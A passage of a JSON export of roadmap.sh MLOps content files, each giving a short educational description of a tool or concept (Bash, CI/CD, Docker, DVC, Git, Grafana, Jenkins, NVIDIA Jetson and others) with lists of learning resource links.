Platform](https://cloud.google.com/)\n- [@official@GCP Learning Resources](https://cloud.google.com/training)\n- [@feed@Explore top posts about AWS](https://app.daily.dev/tags/aws?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/bash@mMzqJF2KQ49TDEk5F3VAI.md",
    "content": "# Bash\n\nBash (Bourne Again Shell) is a Unix shell and command language used for interacting with the operating system through a terminal. It allows users to execute commands, automate tasks via scripting, and manage system operations. As the default shell for many Linux distributions, it supports command-line utilities, file manipulation, process control, and text processing. Bash scripts can include loops, conditionals, and functions, making it a powerful tool for system administration, automation, and task scheduling.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated Shell-Bash Roadmap](https://roadmap.sh/shell-bash)\n- [@opensource@bash-guide](https://github.com/Idnan/bash-guide)\n- [@article@Bash Reference Manual](https://www.gnu.org/software/bash/manual/bashref.html)\n- [@video@Bash Scripting Course](https://www.youtube.com/watch?v=tK9Oc6AEnR4)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/cicd@a6vawajw7BpL6plH_nuAz.md",
    "content": "# CI/CD\n\nCI/CD, which stands for Continuous Integration and Continuous Delivery/Deployment, is a software development practice that automates the process of building, testing, and deploying code changes. Continuous Integration focuses on frequently merging code changes into a central repository, followed by automated builds and tests. Continuous Delivery/Deployment then automates the release of these validated code changes to a staging or production environment.\n\nVisit the following resources to learn more:\n\n- [@article@What is CI/CD? - GitLab](https://about.gitlab.com/topics/ci-cd/)\n- [@article@What is CI/CD? - Redhat](https://www.redhat.com/en/topics/devops/what-is-ci-cd)\n- [@video@CI/CD In 5 Minutes](https://www.youtube.com/watch?v=42UP1fxi2SY)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/cicd@oUhlUoWQQ1txx_sepD5ev.md",
    "content": "# CI/CD\n\nCI/CD, which stands for Continuous Integration and Continuous Delivery/Deployment, is a software development practice focused on automating and streamlining the process of building, testing, and releasing software changes. Continuous Integration involves frequently merging code changes into a central repository, followed by automated builds and tests. Continuous Delivery/Deployment then automates the release of these changes to various environments, ultimately aiming for faster and more reliable software releases.\n\nVisit the following resources to learn more:\n\n- [@official@What is CI/CD?](https://about.gitlab.com/topics/ci-cd/)\n- [@article@A Primer: Continuous Integration and Continuous Delivery (CI/CD)](https://thenewstack.io/a-primer-continuous-integration-and-continuous-delivery-ci-cd/)\n- [@article@DevOps CI/CD Explained in 100 Seconds](https://thenewstack.io/category/ci-cd/)\n- [@video@Automate your Workflows with GitHub Actions](https://www.youtube.com/watch?v=scEDHsr3APg)\n- [@feed@Articles about CI/CD](https://app.daily.dev/tags/version-control?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/cloud-computing@00GZcwe25QYi7rDzaOoMt.md",
    "content": "# Cloud Computing\n\n**Cloud Computing** refers to the delivery of computing services over the internet rather than using local servers or personal devices. These services include servers, storage, databases, networking, software, analytics, and intelligence. Cloud Computing enables faster innovation, flexible resources, and economies of scale. There are various types of cloud computing, such as public clouds, private clouds, and hybrid clouds. Furthermore, it's divided into different services like Infrastructure as a Service (IaaS), Platform as a Service (PaaS), and Software as a Service (SaaS). These services differ mainly in the level of control an organization has over its data and infrastructures.\n\nVisit the following resources to learn more:\n\n- [@article@Cloud Computing - IBM](https://www.ibm.com/think/topics/cloud-computing)\n- [@article@What is Cloud Computing? - Azure](https://azure.microsoft.com/en-gb/resources/cloud-computing-dictionary/what-is-cloud-computing)\n- [@video@What is Cloud Computing? - Amazon Web Services](https://www.youtube.com/watch?v=mxT233EdY5c)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/cloud-native-ml-services@kbfucfIO5KCsuv3jKbHTa.md",
    "content": "# Cloud-Native ML Services\n\nCloud-native ML services are pre-built machine learning tools and platforms offered by cloud providers. These services allow users to build, train, and deploy machine learning models without managing the underlying infrastructure. They often include features like automated model training, scalable deployment options, and integration with other cloud services.\n\nVisit the following resources to learn more:\n\n- [@official@AWS Sage Maker](https://aws.amazon.com/sagemaker/)\n- [@official@Azure ML](https://azure.microsoft.com/en-gb/products/machine-learning)\n- [@official@Vertex AI Platform](https://cloud.google.com/vertex-ai?hl=en)\n- [@article@What is cloud native?](https://cloud.google.com/learn/what-is-cloud-native?hl=en)\n- [@article@Azure ML vs. AWS SageMaker: A Deep Dive into Model Training — Part 1](https://towardsdatascience.com/azure-ml-vs-aws-sagemaker-a-deep-dive-into-scalable-model-training-part-1/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@article@AWS vs. Azure: A Deep Dive into Model Training – Part 2](https://towardsdatascience.com/aws-vs-azure-a-deep-dive-into-model-training-part-2/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@video@What is Cloud Native?](https://www.youtube.com/watch?v=fp9_ubiKqFU)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/cml@MLob7b468ZgNX7-cURqmJ.md",
    "content": "# Continuous Machine Learning (CML)\n\nContinuous Machine Learning (CML) is a tool designed to bring continuous integration and continuous delivery (CI/CD) principles to machine learning projects. It allows data scientists and machine learning engineers to automate the process of training, evaluating, and deploying machine learning models. CML integrates with existing CI/CD systems to provide feedback on model performance and data quality with each code change.\n\nVisit the following resources to learn more:\n\n- [@official@CML](https://cml.dev/)\n- [@official@Get Started with CML](https://cml.dev/doc/start)\n- [@article@Continuous Machine Learning](https://towardsdatascience.com/continuous-machine-learning-e1ffb847b8da/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/containerization@tKeejLv8Q7QX40UtOjpav.md",
    "content": "# Containerization\n\nContainerization is a form of operating system virtualization that packages an application and its dependencies into a single, isolated unit called a container. This container includes everything the application needs to run, such as code, runtime, system tools, libraries, and settings. Containers offer a consistent and portable environment for applications, ensuring they run the same way regardless of where they are deployed.\n\nVisit the following resources to learn more:\n\n- [@article@What are Containers? - Google Cloud](https://cloud.google.com/learn/what-are-containers)\n- [@article@What is a Container? - Docker](https://www.docker.com/resources/what-container/)\n- [@article@Articles about Containers - The New Stack](https://thenewstack.io/category/containers/)\n- [@video@What are Containers?](https://www.youtube.com/playlist?list=PLawsLZMfND4nz-WDBZIj8-nbzGFD4S9oz)\n- [@feed@Explore top posts about Containers](https://app.daily.dev/tags/containers?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/data-engineering-fundamentals@VykbCu7LWIx8fQpqKzoA7.md",
    "content": "# Data Engineering Fundamentals\n\nData Engineering is essentially dealing with the collection, validation, storage, transformation, and processing of data. The objective is to provide reliable, efficient, and scalable data pipelines and infrastructure that allow data scientists to convert data into actionable insights. It involves steps like data ingestion, data storage, data processing, and data provisioning. Important concepts include designing, building, and maintaining data architecture, databases, processing systems, and large-scale processing systems. It is crucial to have extensive technical knowledge in various tools and programming languages like SQL, Python, Hadoop, and more.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated Data Engineer Roadmap](https://roadmap.sh/data-engineer)\n- [@article@Data Engineering 101](https://www.redpanda.com/guides/fundamentals-of-data-engineering)\n- [@article@How to Become a Data Engineer](https://towardsdatascience.com/how-to-become-a-data-engineer-c0319cb226c2/)\n- [@video@Fundamentals of Data Engineering](https://www.youtube.com/watch?v=mPSzL8Lurs0)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/data-ingestion-architecture@Berd78HvnulNEGOsHCf8n.md",
    "content": "# Data Ingestion Architectures\n\nData ingestion is the process of collecting, transferring, and loading data from various sources to a destination where it can be stored and analyzed. Several data ingestion architectures can be used to collect data from different sources and load it into a data warehouse, data lake, or other storage systems. These architectures can be broadly classified into two categories: batch processing and real-time processing. How you choose to ingest data will depend on the volume, velocity, and variety of data you are working with, as well as the latency requirements of your use case.\n\nLambda and Kappa architectures are two popular data ingestion architectures that combine batch and real-time processing to handle large volumes of data efficiently.\n\nVisit the following resources to learn more:\n\n- [@article@Data Ingestion Patterns](https://docs.aws.amazon.com/whitepapers/latest/aws-cloud-data-ingestion-patterns-practices/data-ingestion-patterns.html)\n- [@article@Data pipeline design patterns](https://towardsdatascience.com/data-pipeline-design-patterns-100afa4b93e3/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@article@How to Build an AI-Powered Weather ETL Pipeline with Databricks and GPT-4o: From API To Dashboard](https://towardsdatascience.com/how-to-build-an-ai-powered-weather-etl-pipeline-with-databricks-and-gpt-4o-from-api-to-dashboard/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@video@What is a data pipeline?](https://www.youtube.com/watch?v=kGT4PcTEPP8)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/data-lakes--warehouses@wOogVDV4FIDLXVPwFqJ8C.md",
    "content": "# Data Lakes & Warehouses\n\nData lakes and data warehouses are both systems for storing large amounts of data, but they differ in structure and purpose. A data lake stores data in its raw, unprocessed format, allowing for flexibility in analysis and exploration. A data warehouse, on the other hand, stores data that has been structured and transformed for specific analytical purposes, often optimized for querying and reporting.\n\nVisit the following resources to learn more:\n\n- [@article@Data Lake Definition](https://azure.microsoft.com/en-gb/resources/cloud-computing-dictionary/what-is-a-data-lake)\n- [@article@Data Lake VS Data Warehouse](https://towardsdatascience.com/data-lake-vs-data-warehouse-2e3df551b800/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@video@What is a Data Lake?](https://www.youtube.com/watch?v=LxcH6z8TFpI)\n- [@video@What is a Data Warehouse?](https://www.youtube.com/watch?v=k4tK2ttdSDg)\n- [@video@Data Lake VS Data Warehouse VS Data Marts](https://www.youtube.com/watch?v=w9-WoReNKHk)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/data-lineage--feature-stores@6XgP_2NLuiw654zvTyueT.md",
    "content": "# Data Lineage and Feature Stores\n\n**Data Lineage** refers to the life-cycle of data, including its origins, movements, characteristics and quality. It's a critical component in MLOps for tracking the journey of data through every process in a pipeline, from raw input to model output. Data lineage helps in maintaining transparency, ensuring compliance, and facilitating data debugging or tracing data-related bugs. It provides a clear representation of data sources, transformations, and dependencies, thereby aiding in audits, governance, or reproduction of machine learning models.\n\nVisit the following resources to learn more:\n\n- [@article@What is Data Lineage?](https://www.ibm.com/topics/data-lineage)\n- [@article@What is a Feature Store](https://www.snowflake.com/guides/what-feature-store-machine-learning/)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/data-lineage@6XgP_2NLuiw654zvTyueT.md",
    "content": "# Data Lineage and Feature Stores\n\n**Data Lineage** refers to the life-cycle of data, including its origins, movements, characteristics and quality. It's a critical component in MLOps for tracking the journey of data through every process in a pipeline, from raw input to model output. Data lineage helps in maintaining transparency, ensuring compliance, and facilitating data debugging or tracing data-related bugs. It provides a clear representation of data sources, transformations, and dependencies, thereby aiding in audits, governance, or reproduction of machine learning models.\n\nVisit the following resources to learn more:\n\n- [@article@What is Data Lineage?](https://www.ibm.com/topics/data-lineage)\n- [@article@What is a Feature Store](https://www.snowflake.com/guides/what-feature-store-machine-learning/)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/data-pipelines@cOg3ejZRYE-u-M0c89IjM.md",
    "content": "# Data Pipelines\n\nData pipelines are a series of automated processes that transport and transform data from various sources to a destination for analysis or storage. They typically involve steps like data extraction, cleaning, transformation, and loading (ETL) into databases, data lakes, or warehouses. Pipelines can handle batch or real-time data, ensuring that large-scale datasets are processed efficiently and consistently. They play a crucial role in ensuring data integrity and enabling businesses to derive insights from raw data for reporting, analytics, or machine learning.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Data Pipeline? - IBM](https://www.ibm.com/topics/data-pipeline)\n- [@article@How to Build Data Pipelines for Machine Learning](https://towardsdatascience.com/how-to-build-data-pipelines-for-machine-learning-b97bbef050a5/)\n- [@article@Read Articles about Data Pipelines](https://towardsdatascience.com/tag/data-pipeline/)\n- [@video@What are Data Pipelines?](https://www.youtube.com/watch?v=oKixNpz6jNo)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/deep-learning@1kk8KDWH-LrPt8SjkpTcX.md",
    "content": "# Deep Learning\n\nDeep learning is a subset of machine learning that uses artificial neural networks with multiple layers (hence \"deep\") to analyze data with complex structures. These networks learn hierarchical representations of data, where each layer extracts increasingly abstract features from the previous layer. This allows deep learning models to automatically discover intricate patterns and relationships in data, making them particularly effective for tasks like image recognition, natural language processing, and speech recognition.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated Machine Learning Roadmap](https://roadmap.sh/machine-learning)\n- [@book@Deep Learning Book](https://www.deeplearningbook.org/)\n- [@course@Practical Deep Learning](https://course.fast.ai/)\n- [@article@Introduction to Deep Learning](https://www.ibm.com/topics/deep-learning)\n- [@video@What is a Neural Network?](https://www.youtube.com/watch?v=aircAruvnKk)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/docker@XIdCvT-4HyyglHJLRrHlz.md",
    "content": "# Docker\n\nDocker is a platform that uses operating system-level virtualization to deliver software in packages called containers. These containers isolate software from its environment and ensure that it works uniformly despite differences between development and production environments. Docker simplifies the process of building, shipping, and running applications by packaging all dependencies, libraries, and configurations into a single unit.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Docker Roadmap](https://roadmap.sh/docker)\n- [@official@Docker Documentation](https://docs.docker.com/)\n- [@article@A Data Scientist’s Guide to Docker Containers](https://towardsdatascience.com/a-data-scientists-guide-to-docker-containers/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@video@Docker Tutorial](https://www.youtube.com/watch?v=RqTEHSBrYFw)\n- [@video@Docker Simplified in 55 Seconds](https://youtu.be/vP_4DlOH1G4)\n- [@feed@Explore top posts about Docker](https://app.daily.dev/tags/docker?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/dvc@qLKM1zGUhuyBwh_uXSyJJ.md",
    "content": "# DVC\n\nDVC (Data Version Control) is an open-source tool designed to bring version control principles to machine learning projects, specifically for data and models. It extends Git's capabilities to handle large files, datasets, and machine learning models, which are typically not well-suited for traditional version control systems. DVC tracks changes to data and models, allowing you to reproduce experiments, revert to previous versions, and collaborate effectively on data-driven projects.\n\nVisit the following resources to learn more:\n\n- [@official@DVC](https://dvc.org/)\n- [@official@Get Started with DVC](https://doc.dvc.org/start)\n- [@article@The Complete Guide to Data Version Control With DVC](https://www.datacamp.com/tutorial/data-version-control-dvc)\n- [@article@Data and Machine Learning Model Versioning with DVC](https://towardsdatascience.com/data-and-machine-learning-model-versioning-with-dvc-34fdadd06b15/)\n- [@video@Versioning Data with DVC (Hands-On Tutorial!)](https://www.youtube.com/watch?v=kLKBcPonMYw)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/edge-ai@w8z91Hlqm0sPligYD3VCk.md",
    "content": "# Edge AI\n\nEdge AI refers to running machine learning models directly on devices, like smartphones, sensors, or embedded systems, rather than relying on a central server or cloud infrastructure. This approach brings computation and data processing closer to the source of data generation. This enables faster response times, reduced latency, enhanced privacy, and the ability to operate in environments with limited or no network connectivity.\n\nVisit the following resources to learn more:\n\n- [@course@What Is Edge Computing?](https://www.udemy.com/course/edge-computing/)\n- [@article@What Is Edge AI and How Does It Work?](https://blogs.nvidia.com/blog/what-is-edge-ai/)\n- [@article@What is Edge AI?](https://www.ibm.com/think/topics/edge-ai)\n- [@article@What is Edge Computing - Cloudflare Docs](https://www.cloudflare.com/learning/serverless/glossary/what-is-edge-computing/)\n- [@article@What is Edge Computing? Is It More Than a Buzzword?](https://www.howtogeek.com/devops/what-is-edge-computing-is-it-more-than-a-buzzword/)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/experiment-tracking--model-registry@fGGWKmAJ50Ke6wWJBEgby.md",
    "content": "# Experiment Tracking and Model Registry\n\n**Experiment Tracking** is an essential part of MLOps, providing a system to monitor and record the different experiments conducted during the machine learning model development process. This involves capturing, organizing and visualizing the metadata associated with each experiment, such as hyperparameters used, models produced, metrics like accuracy or loss, and other information about the computational environment. This tracking allows for reproducibility of experiments, comparison across different experiment runs, and helps in identifying the best models.\n\nVisit the following resources to learn more:\n\n- [@article@Experiment Tracking](https://madewithml.com/courses/mlops/experiment-tracking/#dashboard)\n- [@article@ML Flow Model Registry](https://mlflow.org/docs/latest/model-registry.html)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/experiment-tracking@fGGWKmAJ50Ke6wWJBEgby.md",
    "content": "# Experiment Tracking and Model Registry\n\n**Experiment Tracking** is an essential part of MLOps, providing a system to monitor and record the different experiments conducted during the machine learning model development process. This involves capturing, organizing and visualizing the metadata associated with each experiment, such as hyperparameters used, models produced, metrics like accuracy or loss, and other information about the computational environment. This tracking allows for reproducibility of experiments, comparison across different experiment runs, and helps in identifying the best models.\n\nVisit the following resources to learn more:\n\n- [@article@Experiment Tracking](https://madewithml.com/courses/mlops/experiment-tracking/#dashboard)\n- [@article@ML Flow Model Registry](https://mlflow.org/docs/latest/model-registry.html)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/explainable-ai@qy37ppIWDT_we-duuHwgT.md",
    "content": "# Explainable AI\n\nExplainable AI (XAI) refers to methods and techniques used to make the decisions of machine learning models understandable to humans. It aims to shed light on how a model arrives at a particular prediction, identifying the factors that influenced the outcome. This allows users to understand, trust, and effectively manage AI systems.\n\nVisit the following resources to learn more:\n\n- [@article@What is Explainable AI (XAI)?](https://www.ibm.com/think/topics/explainable-ai)\n- [@article@Explainable AI (XAI) | Giskard](https://www.giskard.ai/glossary/explainable-ai-xai)\n- [@article@How to Leverage Explainable AI for Better Business Decisions](https://towardsdatascience.com/how-to-leverage-explainable-ai-for-better-business-decisions/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@video@Explainable AI: Demystifying AI Agents Decision-Making](https://www.youtube.com/watch?v=yJkCuEu3K68)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/flink@o6GQ3-8DgDtHzdX6yeg1w.md",
    "content": "# Flink\n\nApache Flink is an open-source stream processing framework designed for real-time and batch data processing with low latency and high throughput. It supports event time processing, fault tolerance, and stateful operations, making it ideal for applications like real-time analytics, fraud detection, and event-driven systems. Flink is highly scalable, integrates with various data systems, and is widely used in industries for large-scale, real-time data processing tasks.\n\nVisit the following resources to learn more:\n\n- [@official@Apache Flink Documentation](https://flink.apache.org/)\n- [@article@Apache Flink](https://www.tutorialspoint.com/apache_flink/apache_flink_introduction.htm)\n- [@article@An Introduction to Stream Processing with Apache Flink](https://towardsdatascience.com/an-introduction-to-stream-processing-with-apache-flink-b4acfa58f14d/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@video@Introduction | Apache Flink 101](https://www.youtube.com/watch?v=3cg5dABA6mo&list=PLa7VYi0yPIH1UdmQcnUr8lvjbUV8JriK0)\n- [@feed@Explore top posts about Apache Flink](https://app.daily.dev/tags/apache-flink?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/git@06T5CbZAGJU6fJhCmqCC8.md",
    "content": "# Git\n\nGit is a distributed version control system used to track changes in source code during software development. It enables multiple developers to collaborate on a project by managing versions of code, allowing for branching, merging, and tracking of revisions. Git ensures that changes are recorded with a complete history, enabling rollback to previous versions if necessary. It supports distributed workflows, meaning each developer has a complete local copy of the project’s history, facilitating seamless collaboration, conflict resolution, and efficient management of code across different teams or environments.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Git & GitHub Roadmap](https://roadmap.sh/git-github)\n- [@article@Learn Git with Tutorials, News and Tips - Atlassian](https://www.atlassian.com/git)\n- [@article@Getting Started with Git and GitHub: A Complete Tutorial for Beginner](https://towardsdatascience.com/learn-basic-git-commands-for-your-data-science-works-2a75396d530d/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@article@Git Cheat Sheet](https://cs.fyi/guide/git-cheatsheet)\n- [@video@Git & GitHub Crash Course For Beginners](https://www.youtube.com/watch?v=SWYqp7iY_Tc)\n- [@feed@Explore top posts about Git](https://app.daily.dev/tags/git?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/github-actions@SCn-6w1UEQwoLQ_dOPpL5.md",
    "content": "# GitHub Actions\n\nGitHub Actions is a continuous integration and continuous delivery (CI/CD) platform that allows you to automate your software development workflows directly in your GitHub repository. You can use it to build, test, and deploy your code, as well as automate other tasks like managing issues and pull requests. Workflows are defined in YAML files and triggered by events in your repository, such as pushes, pull requests, or scheduled times.\n\nVisit the following resources to learn more:\n\n- [@official@GitHub Actions Documentation](https://docs.github.com/en/actions)\n- [@article@GitHub Actions Guide](https://octopus.com/devops/github-actions/?utm_source=roadmap&utm_medium=link&utm_campaign=devops-ci-cd-github-actions)\n- [@video@What is GitHub Actions?](https://www.youtube.com/watch?v=URmeTqglS58)\n- [@video@Automate your Workflow with GitHub Actions](https://www.youtube.com/watch?v=nyKZTKQS_EQ)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/github@7t7jSb3YgyWlhgCe8Se1I.md",
    "content": "# GitHub\n\nGitHub is a web-based platform built on top of Git that provides version control, collaboration tools, and project management features for software development. It enables developers to host Git repositories, collaborate on code through pull requests, and review and track changes. GitHub also offers additional features like issue tracking, continuous integration, automated workflows, and documentation hosting. With its social coding environment, GitHub fosters open-source contributions and team collaboration, making it a central hub for many software development projects.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Git & GitHub Roadmap](https://roadmap.sh/git-github)\n- [@official@GitHub](https://github.com)\n- [@official@GitHub Documentation](https://docs.github.com/en/get-started/quickstart)\n- [@article@Comprehensive Guide to GitHub for Data Scientists](https://towardsdatascience.com/comprehensive-guide-to-github-for-data-scientist-d3f71bd320da/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@video@What is GitHub?](https://www.youtube.com/watch?v=w3jLJU7DT5E)\n- [@feed@Explore top posts about GitHub](https://app.daily.dev/tags/github?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/gitlab@mu56TlVkhhgVzzESDRobc.md",
    "content": "# GitLab\n\nGitLab is a web-based DevOps platform that provides a single application for all stages of the software development lifecycle. It offers features like source code management (using Git), CI/CD pipelines, issue tracking, and project management. GitLab allows teams to collaborate on code, automate build, test, and deployment processes, and manage projects from planning to monitoring.\n\nVisit the following resources to learn more:\n\n- [@official@GitLab Website](https://gitlab.com/)\n- [@official@GitLab Docs](https://docs.gitlab.com/)\n- [@article@Read articles about Gitlab](https://towardsdatascience.com/tag/gitlab/)\n- [@video@GitLab Explained: What is GitLab and Why Use It?](https://www.youtube.com/watch?v=bnF7f1zGpo4)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/go@vdVq3RQvQF3mF8PQc6DMg.md",
    "content": "# Go\n\nGo, also known as Golang, is an open-source programming language developed by Google that emphasizes simplicity, efficiency, and strong concurrency support. Designed for modern software development, Go features a clean syntax, garbage collection, and built-in support for concurrent programming through goroutines and channels, making it well-suited for building scalable, high-performance applications, especially in cloud computing and microservices architectures. Go's robust standard library and tooling ecosystem, including a powerful package manager and testing framework, further streamlines development processes, promoting rapid application development and deployment.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Go Roadmap](https://roadmap.sh/golang)\n- [@official@A Tour of Go – Go Basics](https://go.dev/tour/welcome/1)\n- [@official@Go Reference Documentation](https://go.dev/doc/)\n- [@article@Making a RESTful JSON API in Go](https://thenewstack.io/make-a-restful-json-api-go/)\n- [@article@Go, the Programming Language of the Cloud](https://thenewstack.io/go-the-programming-language-of-the-cloud/)\n- [@video@Go Programming Course](https://www.youtube.com/watch?v=un6ZyFkqFKo)\n- [@feed@Explore top posts about Golang](https://app.daily.dev/tags/golang?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/grafana@YmRN43yAFF97c7MgNaiqs.md",
    "content": "# Grafana\n\nGrafana is an open-source data visualization and monitoring tool. It allows users to query, visualize, alert on, and explore metrics, logs, and traces. Grafana connects to various data sources, such as Prometheus, Graphite, Elasticsearch, and InfluxDB, to create customizable dashboards that display real-time data and historical trends.\n\nVisit the following resources to learn more:\n\n- [@official@Grafana](https://grafana.com/)\n- [@official@Grafana Docs](https://grafana.com/docs/)\n- [@official@Grafana Webinars and Videos](https://grafana.com/videos/)\n- [@article@What is Grafana?](https://www.redhat.com/en/topics/data-services/what-is-grafana)\n- [@video@Grafana Explained in Under 5 Minutes ⏲](https://www.youtube.com/watch?v=lILY8eSspEo)\n- [@video@Grafana for Beginners Ep. 1](https://www.youtube.com/watch?v=TQur9GJHIIQ&list=PLDGkOdUX1Ujo27m6qiTPPCpFHVfyKq9jT)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/graphana@YmRN43yAFF97c7MgNaiqs.md",
    "content": "# Grafana\n\nGrafana is an open-source data visualization and monitoring tool. It allows users to query, visualize, alert on, and explore metrics, logs, and traces. Grafana connects to various data sources, such as Prometheus, Graphite, Elasticsearch, and InfluxDB, to create customizable dashboards that display real-time data and historical trends.\n\nVisit the following resources to learn more:\n\n- [@official@Grafana](https://grafana.com/)\n- [@official@Grafana Docs](https://grafana.com/docs/)\n- [@official@Grafana Webinars and Videos](https://grafana.com/videos/)\n- [@article@What is Grafana?](https://www.redhat.com/en/topics/data-services/what-is-grafana)\n- [@video@Grafana Explained in Under 5 Minutes ⏲](https://www.youtube.com/watch?v=lILY8eSspEo)\n- [@video@Grafana for Beginners Ep. 1](https://www.youtube.com/watch?v=TQur9GJHIIQ&list=PLDGkOdUX1Ujo27m6qiTPPCpFHVfyKq9jT)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/infrastructure-as-code@sf67bSL7HAx6iN7S6MYKs.md",
    "content": "# Infrastructure as Code\n\nInfrastructure as Code (IaC) is a modern approach to managing and provisioning IT infrastructure through machine-readable configuration files, rather than manual processes. It enables developers and operations teams to define and manage infrastructure resources—such as servers, networks, and databases—using code, which can be versioned, tested, and deployed like application code. IaC tools, like Terraform and AWS CloudFormation, allow for automated, repeatable deployments, reducing human error and increasing consistency across environments. This practice facilitates agile development, enhances collaboration between teams, and supports scalable and efficient infrastructure management.\n\nVisit the following resources to learn more:\n\n- [@article@What is Infrastructure as Code?](https://www.redhat.com/en/topics/automation/what-is-infrastructure-as-code-iac)\n- [@article@Automatically Managing Data Pipeline Infrastructures With Terraform](https://towardsdatascience.com/automatically-managing-data-pipeline-infrastructures-with-terraform-323fd1808a47/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@video@Terraform Course for Beginners](https://www.youtube.com/watch?v=SLB_c_ayRMo)\n- [@video@8 Terraform Best Practices](https://www.youtube.com/watch?v=gxPykhPxRW0)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/jenkins@75mlW2JoUqSNFK2IDfqFP.md",
    "content": "# Jenkins\n\nJenkins is an open-source automation server that helps automate the software development processes, including building, testing, and deploying code. It provides a platform for continuous integration and continuous delivery (CI/CD), allowing teams to automate repetitive tasks and streamline their workflows. Jenkins uses plugins to support various tools and technologies, making it highly customizable and adaptable to different project requirements.\n\nVisit the following resources to learn more:\n\n- [@official@Jenkins Website](https://www.jenkins.io/)\n- [@official@Jenkins Getting Started Guide](https://www.jenkins.io/doc/pipeline/tour/getting-started/)\n- [@article@Jenkins Tutorial](https://octopus.com/devops/jenkins/jenkins-tutorial/?utm_source=roadmap&utm_medium=link&utm_campaign=devops-ci-cd-gitlab-ci)\n- [@article@From DevOps to MLOPS: Integrate Machine Learning Models using Jenkins and Docker](https://towardsdatascience.com/from-devops-to-mlops-integrate-machine-learning-models-using-jenkins-and-docker-79034dbedf1/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@video@Learn Jenkins! Complete Jenkins Course - Zero to Hero](https://www.youtube.com/watch?v=6YZvp2GwT0A)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/jetson@Wpv_zRshtTFXNqp1S7m0F.md",
    "content": "# Jetson\n\nNVIDIA Jetson is a series of embedded computing systems designed for AI and robotics applications. These systems-on-modules (SoMs) provide high-performance processing capabilities in a compact, energy-efficient form factor, enabling developers to deploy AI models and perform complex computations directly on edge devices. Jetson platforms are commonly used in applications like autonomous vehicles, drones, smart cameras, and industrial automation, where real-time data processing and low latency are critical.\n\nVisit the following resources to learn more:\n\n- [@official@NVIDIA Jetson Modules](https://developer.nvidia.com/embedded/jetson-modules)\n- [@article@What Is NVIDIA Jetson? A Beginner’s Guide to Powerful Edge AI Modules](https://blog.aetherix.com/nvidia-jetson-beginners-guide/)\n- [@video@NVIDIA Jetson Orin Nano Super COMPLETE Setup Guide & Tutorial](https://www.youtube.com/watch?v=-PjMC0gyH9s)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/kafka@fMNwzhgLgHlAZJ9NvKikR.md",
